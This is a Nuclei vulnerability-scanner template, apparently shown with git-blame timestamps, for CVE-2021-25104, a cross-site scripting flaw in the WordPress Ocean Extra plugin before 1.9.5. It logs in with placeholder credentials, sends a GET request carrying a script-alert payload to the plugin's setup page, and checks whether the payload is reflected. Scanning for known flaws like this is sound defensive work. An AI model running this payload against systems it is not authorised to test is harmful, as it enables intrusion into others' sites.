nuclei-templates/http/cves/2021/CVE-2021-25104.yaml

64 lines
1.9 KiB
YAML
Raw Normal View History

2022-09-23 03:38:10 +00:00
id: CVE-2021-25104
info:
name: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting
2022-09-23 03:38:10 +00:00
author: Akincibor
severity: medium
description: WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.
2023-09-06 12:09:01 +00:00
remediation: Fixed in version 1.9.5.
2022-09-23 03:38:10 +00:00
reference:
- https://wpscan.com/vulnerability/2ee6f1d8-3803-42f6-9193-3dd8f416b558
2022-09-23 08:18:13 +00:00
- https://wordpress.org/plugins/ocean-extra/
2022-09-23 03:38:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25104
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25104
cwe-id: CWE-79
epss-score: 0.00119
epss-percentile: 0.45938
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:oceanwp:ocean_extra:*:*:*:*:*:wordpress:*:*
2022-09-23 03:38:10 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: oceanwp
product: ocean_extra
2023-09-06 12:09:01 +00:00
framework: wordpress
2022-09-23 08:18:13 +00:00
tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated,wpscan,wp,ocean-extra
2022-09-23 03:38:10 +00:00
http:
2022-09-23 03:38:10 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/?step=demo&page=owp_setup&a"><script>alert(/XSS/)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2022-09-23 03:38:10 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'OceanWP'
- '><script>alert(/XSS/)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402205f3554dfca799a098c8e5cb741addf6a4cfc09f7166e3f0424c2f518f79f895102201af6c3c0f4c5cb860be14cc157cf1664509bc7b50ff4eb63a5b0d94c2763712f:922c64590222798bb761d5b6d8e72950